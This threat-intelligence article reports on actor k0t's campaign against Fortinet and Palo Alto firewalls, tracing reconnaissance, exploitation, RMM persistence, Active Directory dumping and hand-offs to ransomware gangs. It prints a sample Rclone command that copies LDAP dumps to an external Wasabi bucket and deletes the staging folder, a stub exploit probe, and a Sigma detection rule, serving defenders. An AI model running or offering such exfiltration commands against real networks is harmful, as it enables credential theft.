Threat actor k0t breaches enterprise firewalls exposing 70,000 credentials for ransomware gangs

Threat actor k0t weaponizes edge firewall vulnerabilities harvesting 70,000 logins for ransomware syndicates

A comprehensive joint threat intelligence investigation published by Group-IB and NyxLab has uncovered an expansive, year-long cyber espionage and initial access brokerage campaign that systematically breached enterprise perimeter infrastructure across five continents. The campaign, attributed to a sophisticated cybercriminal actor tracked as k0t (also operating under the aliases CryptoFeel, Member19, and QazWsxShop), weaponized unpatched software vulnerabilities in enterprise network edge appliances, specifically targeting Fortinet FortiGate, FortiWeb, and Palo Alto Networks GlobalProtect firewalls. Active in the wild since 22 October 2025, the threat actor maintained operations across a 366-day window (52.3 weeks, 1.00 year, derived), systematically harvesting more than 70,000 corporate credentials, active VPN session tokens, and Active Directory LDAP database dumps.

Rather than relying on proprietary binary loaders during the initial penetration phase, k0t automated perimeter reconnaissance using metadata search engines before deploying bespoke Python exploit scripts against internet-facing appliances. Once network ingress was secured, the actor established persistent tunnels via OpenConnect VPN and deployed an array of legitimate Remote Monitoring and Management (RMM) utilities alongside the open-source AdaptixC2 framework. Stolen directory databases and corporate records were subsequently staged and exfiltrated via Rclone to Wasabi S3 buckets and MEGA cloud storage, directly feeding compromised corporate access to major double-extortion ransomware syndicates including Qilin and The Gentlemen.

Audit of verified technical disclosures versus operational assumptions

To evaluate the strategic exposure created by perimeter appliance exploitation, enterprise security leaders must distinguish verified forensic disclosures from operational assumptions across the complete intrusion lifecycle.

Audit of verified forensic disclosures for the k0t campaign versus operational assumptions

Intrusion Dimension	Explicitly Verified in Group-IB & NyxLab Telemetry	Unverified or Dependent on Network Environment
Edge Discovery	Automated reconnaissance querying FOFA and ZoomEye to compile target lists of internet-facing appliances.	The specific automated scan frequency, API budgets, or commercial subscription tiers utilized by the actor.
Exploit Delivery	Bespoke Python scripts fortnew.py (CVE-2025-64446) and exploit_2026_0257.py (CVE-2026-0257).	Whether zero-day vulnerabilities were tested concurrently alongside catalogued CVE exploit scripts.
Perimeter Ingress	Foothold established over compromised appliances using standard OpenConnect VPN connections.	Whether hardware MFA tokens or client certificates were active on targeted perimeter endpoints.
Internal Persistence	Dual persistence using legitimate RMM agents (MeshCentral, Atera, AnyDesk) and AdaptixC2.	The total dwell time elapsed between initial RMM installation and domain controller takeover.
Lateral Movement	Abuse of administrative utilities including NetExec, Impacket, noPac, Kerbrute, and Mimikatz.	Whether local administrator password reuse or unconstrained delegation accelerated domain access.
Data Exfiltration	LDAP dumps synchronized via Rclone into Wasabi S3 buckets and MEGA cloud drives.	The total volume of proprietary corporate IP exfiltrated alongside authentication database dumps.
Ransomware Hand-Off	Victims identified in k0t intrusions subsequently appeared on Qilin and The Gentlemen leak sites.	The precise commercial fee structure or revenue-sharing percentage governing access sales to ransomware gangs.

The friendly-name fallacy: why endpoint perimeter visibility fails against legitimate RMM persistence

The operational architecture of the k0t campaign exposes a critical friendly-name fallacy in modern perimeter security: the assumption that edge firewalls and VPN gateways serve as impenetrable trust boundaries capable of shielding internal networks. In practice, enterprise appliances running Fortinet FortiOS, FortiWeb, and Palo Alto Networks PAN-OS represent complex embedded Linux operating systems with extensive internet-facing web interfaces. When these management or portal services remain exposed to global indexing engines such as FOFA and ZoomEye, adversaries can programmatically discover unpatched endpoints across entire network ranges within seconds.

Forensic telemetry documented by Group-IB and NyxLab demonstrates that k0t deployed targeted Python exploit modules to breach these devices. Against Fortinet web application firewalls, the actor executed fortnew.py, weaponizing CVE-2025-64446, a critical path traversal vulnerability that permits unauthorized administrative account creation. Against Palo Alto Networks GlobalProtect portals and gateways, k0t deployed exploit_2026_0257.py, weaponizing CVE-2026-0257, an authentication bypass flaw that allows remote actors to forge valid authentication override cookies. In scenarios where software exploits were unavailable, k0t launched high-velocity credential brute-forcing against administrative portals, taking advantage of default credentials and weak passwords.

Zoom

Following initial exploitation, k0t connected to internal victim networks using OpenConnect VPN, establishing an encrypted ingress tunnel that bypassed external traffic filtering. Once inside, the actor established operational persistence by installing legitimate Remote Monitoring and Management software, specifically MeshCentral Agent, Atera, Teramind, and AnyDesk. Because these tools are widely used by corporate IT support desks and carry valid digital signatures, endpoint detection and response (EDR) platforms classified their installation as benign administrative behavior. Concurrently, k0t deployed AdaptixC2, an open-source adversary emulation framework written in Go and C++, providing backup command-and-control connectivity.

With administrative footholds secured across multiple workstations, k0t executed systematic internal reconnaissance and privilege escalation. Using living-off-the-land utilities and pentesting suites including NetExec, SoftPerfect Network Scanner, Impacket, noPac, Kerbrute, PetitPotam, and Mimikatz, the actor harvested local memory credentials and forced domain controller authentication. The ultimate objective within victim subnets was the extraction of complete Active Directory LDAP databases, encompassing user accounts, password hashes, and organizational group hierarchies. To exfiltrate this intelligence, k0t abused the legitimate command-line synchronization utility Rclone, directing high-volume data streams into encrypted Wasabi S3 object storage buckets and MEGA cloud drives.

Step-by-step technical autopsy: the k0t infiltration and lateral execution chain

Forensic reconstruction of compromised environments reveals that k0t followed a strict, five-phase operational playbook from initial perimeter discovery to final data exfiltration:

Phase 1: Automated Perimeter Reconnaissance via Search Engine Metadata

Rather than executing noisy network port scans that trigger firewall threshold alerts, k0t utilized passive metadata search engines including FOFA and ZoomEye. By querying specific HTTP banner signatures, device certificates, and default portal endpoints (such as /global-protect/login.esp or /ui/login), the actor filtered targets by product, firmware release, and geographic region. This passive approach allowed k0t to compile global lists of vulnerable perimeter appliances without sending a single packet directly to the victim network.

Phase 2: Weaponized Exploit Execution (fortnew.py and exploit_2026_0257.py)

With candidate IP addresses identified, k0t launched automated Python scripts from operational staging infrastructure:

• Fortinet Path Traversal (fortnew.py): Weaponizing CVE-2025-64446, the script targets unauthenticated path traversal flaws in FortiWeb management handlers. By manipulating directory traversal sequences in HTTP POST requests, the exploit injects a rogue administrative user directly into the appliance user database.
• PAN-OS GlobalProtect Authentication Bypass (exploit_2026_0257.py): Weaponizing CVE-2026-0257, the script exploits validation weaknesses in GlobalProtect gateway session handlers. By generating crafted session requests, the exploit forges valid authentication override cookies, granting the attacker full network tunnel access without requiring user credentials.

# Conceptual representation of perimeter exploit script logic
# fortnew.py / exploit_2026_0257.py execution pattern
import urllib.request
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def check_and_exploit_target(target_ip, port=443):
    # Probe endpoint for unpatched portal handler
    target_url = f'https://(target_ip):(port)/global-protect/login.esp'
    headers = dict()
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    
    # Craft authentication bypass payload
    req = urllib.request.Request(target_url, headers=headers)
    try:
        with urllib.request.urlopen(req, context=ctx, timeout=10) as resp:
            if resp.status == 200:
                print(f'[+] Target exposed: (target_ip)')
                # Deploy session override and stage OpenConnect tunnel
    except Exception as err:
        pass

Phase 3: Perimeter Ingress and Dual-Stack Persistence

Once administrative access or valid session cookies were forged, k0t connected to the target appliance using OpenConnect VPN. Establishing a standard TLS/DTLS tunnel, the actor obtained an internal IP address inside the victim network. Immediately upon entry, k0t deployed commercial Remote Monitoring and Management (RMM) utilities, installing MeshCentral Agent and Atera. Because these binaries are signed by trusted commercial vendors, host antivirus engines did not flag their installation. Concurrently, the actor deployed AdaptixC2, establishing persistent encrypted command-and-control over HTTPS to backup listener infrastructure.

Phase 4: Active Directory Enumeration and Privilege Escalation

Operating from internal footholds, k0t executed systematic Active Directory reconnaissance. Using SoftPerfect Network Scanner and NetExec, the actor mapped accessible subnets and identified domain controllers. To escalate privileges, k0t weaponized Kerberos exploitation tools including Kerbrute for user enumeration, PetitPotam (MS-EFSRPC) to coerce domain controller authentication, and noPac (CVE-2021-42278/CVE-2021-42287) to forge domain administrative tickets. Once domain administrator equivalence was achieved, k0t invoked Impacket secretsdump.py and Mimikatz lsadump::dcsync to extract the full NTDS.dit database and LDAP user schema.

Phase 5: Automated Cloud Exfiltration via Rclone

To exfiltrate harvested credential databases and corporate files without maintaining conspicuous long-term interactive sessions, k0t staged data in temporary directories before launching Rclone. The actor configured Rclone with remote cloud profiles pointing to Wasabi S3 object storage buckets and encrypted MEGA accounts, piping gigabytes of structured intelligence off victim networks over standard HTTPS port 443.

# Operational command syntax utilized for automated data exfiltration
# Abusing Rclone command-line binary with cloud remote parameters

rclone.exe copy C:\Users\Public\ldap_dumps\ wasabi:backup-store-01/dump/ \
    --transfers 8 \
    --checkers 16 \
    --fast-list \
    --buffer-size 64M \
    --s3-endpoint s3.wasabisys.com \
    --s3-access-key-id AKIAIOSFODNN7EXAMPLE \
    --s3-secret-access-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
    --log-file C:\Users\Public\trans.log

# Secure deletion of local staging directory
cmd.exe /c del /f /q C:\Users\Public\ldap_dumps\*.*

The initial access broker economy: industrialised hand-offs to ransomware syndicates

The k0t operation exemplifies the industrialised division of labour underpinning modern cybercrime syndicates. Threat actor k0t operates primarily as an Initial Access Broker (IAB), monetizing compromised corporate networks by selling validated access packages, active VPN tokens, and internal foothold scripts to top-tier ransomware cartels. Group-IB and NyxLab identified extensive victimology overlap between k0t compromises and subsequent extortion listings on the dark web data leak portals of Qilin and The Gentlemen. Although k0t maintains operational autonomy, the systematic alignment of victim disclosures confirms that breached enterprise perimeters were routinely packaged and transferred to extortion groups for double-extortion deployment.

Geographic analysis of the 70,000 harvested credentials reveals an opportunistic global footprint driven by indiscriminate perimeter scanning. Nearly 38.0% of identified victim endpoints were situated in the Asia-Pacific (APAC) region, followed by 31.9% in Latin America (LATAM), 15.8% in Europe, and 12.7% in the Middle East and North Africa (MENA). Dark web forum solicitations indicate that k0t prioritised monetization in the United States and Canada, seeking buyers willing to pay premium prices for high-revenue North American corporate footholds. Notably, researchers verified negligible data overlap between k0t and the concurrent FortiBleed campaign, confirming that k0t operates an independent harvesting and exfiltration pipeline.

Detection engineering: neutralizing perimeter exploit scripts and unauthorized RMM persistence

Mitigating automated edge exploitation and living-off-the-land RMM persistence requires targeted detection rules monitoring command-line invocations, unusual VPN connection profiles, and automated exfiltration binaries:

# Sigma Rule: Detect Rclone Data Exfiltration to Unauthorized Cloud Storage Endpoints
title: Suspicious Rclone Execution Targeting Cloud Storage Providers
id: 7c2a1e48-93f0-4b12-8d55-6e9a03b14f82
status: stable
description: Detects invocation of Rclone command-line utility with synchronization or copy arguments to external cloud remotes
logsource:
  category: process_creation
  product: windows
detection:
  selection_binary:
    Image|endswith:
      - '\rclone.exe'
      - '\rcl.exe'
  selection_commands:
    CommandLine|contains:
      - ' copy '
      - ' sync '
      - ' move '
      - ' wasabi:'
      - ' mega:'
      - ' s3:'
  condition: selection_binary and selection_commands
falsepositives:
  - Documented scheduled offsite backup scripts approved by enterprise cloud architects
level: high

At the perimeter, security operations teams must disable remote administrative access on external interfaces, enforce phishing-resistant FIDO2 multi-factor authentication on all VPN gateways, and block inbound connections originating from commercial scanning infrastructure. Internally, endpoint detection engines should flag the unauthorized staging of portable RMM tools (such as MeshCentral and Atera) and audit Active Directory for anomalous bulk LDAP queries originating from non-administrative subnets.

UK regulatory governance and supply chain data protection obligations

For UK enterprises, critical national infrastructure operators, and regulated commercial entities, the k0t campaign underscores the acute legal and operational liabilities associated with edge appliance security. Under the UK Security of Network and Information Systems (NIS) Regulations 2018 and the National Cyber Security Centre (NCSC) Cyber Assessment Framework (CAF), operators of essential services are legally mandated to maintain robust vulnerability management programs that promptly remediate known vulnerabilities on internet-facing devices.

Furthermore, under the UK General Data Protection Regulation (UK GDPR) Article 32 and the UK Data Protection Act 2018, data controllers bear an affirmative statutory duty to implement appropriate technical and organizational measures to ensure a level of security appropriate to the risk. When an initial access broker extracts complete Active Directory LDAP database dumps, the exposure of employee names, email addresses, department titles, and password hashes constitutes a severe personal data breach under Article 33. Such security failures mandate formal notification to the Information Commissioner's Office (ICO) within 72 hours of becoming aware of the breach.

Defender checklist: mitigating edge appliance exploitation and IAB hand-offs

The exposing question

When an initial access broker can scan public metadata engines to exploit your perimeter firewalls, tunnel in via legitimate VPN protocols, and abuse signed administrative tools to exfiltrate your entire Active Directory to the cloud, does your security architecture detect the compromise before your enterprise credentials appear on a ransomware extortion portal?

Key facts